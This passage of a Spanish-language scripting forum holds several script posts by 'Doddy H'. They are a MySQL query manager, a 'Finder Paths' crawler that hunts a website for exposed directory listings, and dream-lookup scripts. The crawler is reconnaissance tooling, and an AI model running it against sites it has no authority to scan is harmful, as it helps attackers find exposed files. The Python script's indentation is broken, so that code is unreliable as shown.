
MainLoop;

sub now {

    my $host = $host->get;
    my $user = $user->get;
    my $pass = $pass->get;

    $info = "dbi:mysql::" . $host . ":3306";

    if ( my $enter = DBI->connect( $info, $user, $pass, { PrintError => 0 } ) )
    {

        $nave->destroy;

        my $man = MainWindow->new(
            -background => $color_fondo,
            -foreground => $color_texto
        );
        $man->title("Mysql Manager 0.6 || Coded By Doddy H");
        $man->geometry("650x320+20+20");
        $man->resizable( 0, 0 );

        $man->Label(
            -text       => "Query : ",
            -font       => "Impact1",
            -background => $color_fondo,
            -foreground => $color_texto
        )->place( -x => 73, -y => 20 );
        my $ac = $man->Entry(
            -width      => 60,
            -background => $color_fondo,
            -foreground => $color_texto
        )->place( -x => 135, -y => 23 );
        $man->Button(
            -width            => 8,
            -text             => "Execute",
            -command          => \&tes,
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => "orange"
        )->place( -x => 510, -y => 23 );
        my $out = $man->Scrolled(
            "ROText",
            -width      => 74,
            -height     => 15,
            -background => $color_fondo,
            -foreground => $color_texto
        )->place( -x => 60, -y => 73 );

        $man->bind( "<Key-Return>" => sub { &tes } );

        sub tes {
            my $ac = $ac->get;
            $re = $enter->prepare($ac);
            $re->execute();
            my $total = $re->rows();

            my @columnas = @{ $re->{NAME} };

            if ( $total eq "-1" ) {
                $out->insert( "end", "\n[-] Query Error\n" );
                next;
            }
            else {
                $out->insert( "end", "\n[+] Result of the query\n" );
                if ( $total eq 0 ) {
                    $out->insert( "end", "\n[+] Not rows returned\n\n" );
                }
                else {
                    $out->insert( "end",
                        "\n[+] Rows returned : " . $total . "\n\n" );
                    for (@columnas) {
                        $out->insert( "end", $_ . "\t" );
                    }
                    $out->insert( "end", "\n\n" );
                    while ( @row = $re->fetchrow_array ) {
                        for (@row) {
                            $out->insert( "end", $_ . "\t" );
                        }
                        $out->insert( "end", "\n" );
                    }
                }
            }
        }
    }
    else {
        $man->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Error",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

# ¿ The End ?

#266
Scripting / [Perl] Mysql Manager 0.5
14 Abril 2012, 19:49 PM
Nueva version de un mysql manager que hice hace un largo tiempo.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Mysql Manager 0.5
#Coded By Doddy H
#Modules
#ppm install http://www.bribes.org/perl/ppm/Scalar-List-Utils.ppd
#ppm install http://www.bribes.org/perl/ppm/Storable.ppd
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd

use DBI;

sub head {
    print "\n\n -- == Mysql Manager 0.5 == --\n\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    exit(1);
}

sub sintax {
    print "\n[+] Sintax : $0 <host> <user> <pass>\n";
}

head();
unless ( @ARGV > 2 ) {
    sintax();
}
else {
    enter( $ARGV[0], $ARGV[1], $ARGV[2] );
}
copyright();

sub enter {

    print "\n[+] Connecting to the server\n";

    $info = "dbi:mysql::" . $_[0] . ":3306";
    if ( my $enter = DBI->connect( $info, $_[1], $_[2], { PrintError => 0 } ) )
    {

        print "\n[+] Enter in the database";

        while (1) {
            print "\n\n\n[+] Query : ";
            chomp( my $ac = <stdin> );

            if ( $ac eq "exit" ) {
                $enter->disconnect;
                print "\n\n[+] Closing connection\n\n";
                copyright();
            }

            $re = $enter->prepare($ac);
            $re->execute();
            my $total = $re->rows();

            my @columnas = @{ $re->{NAME} };

            if ( $total eq "-1" ) {
                print "\n\n[-] Query Error\n";
                next;
            }
            else {
                print "\n\n[+] Result of the query\n";
                if ( $total eq 0 ) {
                    print "\n\n[+] Not rows returned\n\n";
                }
                else {
                    print "\n\n[+] Rows returned : " . $total . "\n\n\n";
                    for (@columnas) {
                        print $_. "\t\t";
                    }
                    print "\n\n";
                    while ( @row = $re->fetchrow_array ) {
                        for (@row) {
                            print $_. "\t\t";
                        }
                        print "\n";
                    }
                }
            }
        }
    }
    else {
        print "\n[-] Error connecting\n";
    }
}

# ¿ The End ?

#267
Scripting / [Perl Tk] Finder Paths 0.7
8 Abril 2012, 01:56 AM
Un simple programa para buscar los listados de directorios en una pagina.

Una imagen


El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Finder Paths 0.7
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::ListBox;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $background_fondo = "black";
my $texto_color      = "cyan";

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

$ha = MainWindow->new(
    -background => $background_fondo,
    -foreground => $texto_color
);
$ha->title("Finder Paths 0.7 || (C) Doddy Hackman 2012");
$ha->geometry("510x430+20+20");
$ha->resizable( 0, 0 );

$ha->Label(
    -text       => "Web : ",
    -font       => "Impact1",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 30, -y => 20 );
my $pagine = $ha->Entry(
    -text       => "http://localhost:8080/paths",
    -width      => 40,
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 80, -y => 23 );
$ha->Button(
    -text             => "Search",
    -width            => 10,
    -command          => \&search,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 330, -y => 23 );
$ha->Button(
    -text             => "Logs",
    -width            => 10,
    -command          => \&ver_logs,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 405, -y => 23 );

$ha->Label(
    -text       => "Type : ",
    -font       => "Impact1",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 30, -y => 55 );

$ha->Radiobutton(
    -text             => "Fast",
    -value            => "fast",
    -variable         => \$type,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 80, -y => 57 );
$ha->Radiobutton(
    -text             => "Full",
    -value            => "full",
    -variable         => \$type,
    -background       => $background_fondo,
    -foreground       => $texto_color,
    -activebackground => $texto_color
)->place( -x => 125, -y => 57 );

$ha->Label(
    -text       => "Paths Found",
    -font       => "Impact",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 200, -y => 110 );
my $paths_list = $ha->Listbox(
    -width      => 70,
    -height     => 13,
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 42, -y => 160 );
my $status_now = $ha->Label(
    -text       => "Status : <None>",
    -font       => "Impact",
    -background => $background_fondo,
    -foreground => $texto_color
)->place( -x => 190, -y => 380 );

MainLoop;

sub search {

    $paths_list->delete( "0.0", "end" );
    $status_now->configure( -text => "Status : Scanning" );
    if ( $type eq "fast" ) {
        simple( $pagine->get );
    }
    if ( $type eq "full" ) {
        escalar( $pagine->get );
    }
    $status_now->configure( -text => "Status : <None>" );
}

sub ver_logs {
    if ( -f "paths-logs.txt" ) {
        system("paths-logs.txt");
    }
    else {
        $ha->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $background_fondo,
            -foreground       => $texto_color,
            -activebackground => $texto_color
        )->Show();
    }
}

sub escalar {

    my $co    = $_[0];
    my $code  = toma( $_[0] );
    my @links = get_links($code);

    if ( $code =~ /Index of (.*)/ig ) {
        $paths_list->insert( "end", $co );
        savefile( "paths-logs.txt", $co );
        my $dir_found = $1;
        chomp $dir_found;
        while ( $code =~ /<a href=\"(.*)\">(.*)<\/a>/ig ) {
            my $ruta   = $1;
            my $nombre = $2;
            unless ( $nombre =~ /Parent Directory/ig
                or $nombre =~ /Description/ig )
            {
                push( @encontrados, $_[0] . "/" . $nombre );
            }
        }
    }

    for my $com (@links) {
        $ha->update;
        my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
        if ( $path =~ /\/(.*)$/ ) {
            my $path1 = $1;
            $_[0] =~ s/$path1//ig;
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
            if ( $path =~ /(.*)\// ) {
                my $parche = $1;
                unless ( $repetidos =~ /$parche/ ) {
                    $repetidos .= " " . $parche;
                    my $yeah = "http://" . $auth . $parche;
                    escalar($yeah);
                }
            }
            for (@encontrados) {
                $ha->update;
                escalar($_);
            }
        }
    }
}

sub simple {

    my $code  = toma( $_[0] );
    my @links = get_links($code);

    for my $com (@links) {
        $ha->update;
        my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
        if ( $path =~ /\/(.*)$/ ) {
            my $path1 = $1;
            $_[0] =~ s/$path1//ig;
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
            if ( $path =~ /(.*)\// ) {
                my $parche = $1;
                unless ( $repetidos =~ /$parche/ ) {
                    $repetidos .= " " . $parche;
                    my $code = toma( "http://" . $auth . $parche );

                    if ( $code =~ /Index of (.*)</ig ) {
                        my $dir_found = $1;
                        chomp $dir_found;
                        my $yeah = "http://" . $auth . $parche;
                        $paths_list->insert( "end", $yeah );
                        savefile( "paths-logs.txt", $yeah );
                    }
                }
            }
        }
    }
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub get_links {

    $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
    return @links;

    sub agarrar {
        my ( $a, %b ) = @_;
        push( @links, values %b );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

#The End ?
#268
Scripting / [Perl] Finder Paths 0.6
8 Abril 2012, 01:55 AM
Un simple script para buscar los famosos listados de directorios en una pagina.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Finder Paths 0.6
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

head();

print "[+] Web : ";
chomp( my $web = <stdin> );

print "\n\n[+] Scan Type\n\n";
print "[+] 1 : Fast\n";
print "[+] 2 : Full\n";

print "\n\n[+] Option : ";
chomp( my $op = <stdin> );

print "\n\n[+] Scanning ....\n\n\n";

if ( $op eq "1" ) {
   simple($web);
}
elsif ( $op eq "2" ) {
   escalar($web);
}
else {
   simple($web);
}
copyright();

sub escalar {

   my $co    = $_[0];
   my $code  = toma( $_[0] );
   my @links = get_links($code);

   if ( $code =~ /Index of (.*)/ig ) {
       print "[+] Link : $co\n";
       savefile( "paths-logs.txt", $co );
       my $dir_found = $1;
       chomp $dir_found;
       while ( $code =~ /<a href=\"(.*)\">(.*)<\/a>/ig ) {
           my $ruta   = $1;
           my $nombre = $2;
           unless ( $nombre =~ /Parent Directory/ig
               or $nombre =~ /Description/ig )
           {
               push( @encontrados, $_[0] . "/" . $nombre );
           }
       }
   }

   for my $com (@links) {
       my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
       if ( $path =~ /\/(.*)$/ ) {
           my $path1 = $1;
           $_[0] =~ s/$path1//ig;
           my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
           if ( $path =~ /(.*)\// ) {
               my $parche = $1;
               unless ( $repetidos =~ /$parche/ ) {
                   $repetidos .= " " . $parche;
                   my $yeah = "http://" . $auth . $parche;
                   escalar($yeah);
               }
           }
           for (@encontrados) {
               escalar($_);
           }
       }
   }
}

sub simple {

   my $code  = toma( $_[0] );
   my @links = get_links($code);

   for my $com (@links) {
       my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
       if ( $path =~ /\/(.*)$/ ) {
           my $path1 = $1;
           $_[0] =~ s/$path1//ig;
           my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
           if ( $path =~ /(.*)\// ) {
               my $parche = $1;
               unless ( $repetidos =~ /$parche/ ) {
                   $repetidos .= " " . $parche;
                   my $code = toma( "http://" . $auth . $parche );

                   if ( $code =~ /Index of (.*)</ig ) {
                       my $dir_found = $1;
                       chomp $dir_found;
                       my $yeah = "http://" . $auth . $parche;
                       print "[+] Link : $yeah\n";
                       savefile( "paths-logs.txt", $yeah );
                   }
               }
           }
       }
   }
}

sub toma {
   return $nave->get( $_[0] )->content;
}

sub get_links {

   $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
   return @links;

   sub agarrar {
       my ( $a, %b ) = @_;
       push( @links, values %b );
   }
}

sub savefile {
   open( SAVE, ">>" . $_[0] );
   print SAVE $_[1] . "\n";
   close SAVE;
}

sub head {
   print qq(


@@@@@ @           @             @@@@@           @        
@                 @             @    @       @  @        
@                 @             @    @       @  @        
@     @ @ @@   @@@@  @@@  @@    @    @  @@@  @@ @ @@   @@
@@@@  @ @@  @ @   @ @   @ @     @@@@@      @ @  @@  @ @  @
@     @ @   @ @   @ @@@@@ @     @       @@@@ @  @   @  @  
@     @ @   @ @   @ @     @     @      @   @ @  @   @   @
@     @ @   @ @   @ @   @ @     @      @   @ @  @   @ @  @
@     @ @   @  @@@@  @@@  @     @       @@@@  @ @   @  @@





);
}

sub copyright {
   print "\n\n(C) Doddy Hackman 2012\n\n";
   <stdin>;
   exit(1);
}

# The End ?
#269
Scripting / [Perl] Buscador de sueños 0.1
4 Abril 2012, 18:25 PM
Un simple buscador de sueños en Perl.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Buscador de sueños 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

header();

print "\n[+] Palabra : ";
chomp( my $string = <stdin> );

my $code =
  toma( "http://www.mis-suenos.org/interpretaciones/buscar?text=" . $string );

if ( $code =~ /<li>(.*)<\/li>/ ) {
    my $si = $1;
    if ( $si eq " " ) {
        print "\n\n[-] No se encontro\n";
    }
    else {
        print "\n\n[+] Significado : $si\n";
    }
}

copyright();

sub header {
    print "\n\n-- == Buscador de sueños == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?
#270
Scripting / [Python] Buscador de sueños 0.1
4 Abril 2012, 18:24 PM
Un simple buscador de sueños hecho en Python.

Código (python) [Seleccionar]

#!usr/bin/python
#coding: utf-8
#Buscador de sueños 0.1
#Coded By Doddy H

import urllib2,re,sys

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def head():
  print "\n-- == Buscador de sueños == --\n"

def copyright():
print "\n\n(C) Doddy Hackman 2012\n"
raw_input()
sys.exit(1)

head()

url = raw_input("\n\n[+] Texto : ")

try:
code = toma("http://www.mis-suenos.org/interpretaciones/buscar?text="+url)
if (re.findall("<li>(.*)<\/li>",code)):
   re = re.findall("<li>(.*)<\/li>",code)
   re = re[0]
   if not re=="":
     print "\n\n[+] Significado : "+re
   else:
     print "[-] No se encontro significado\n"
except:
print "[-] Error\n"

copyright()

# The End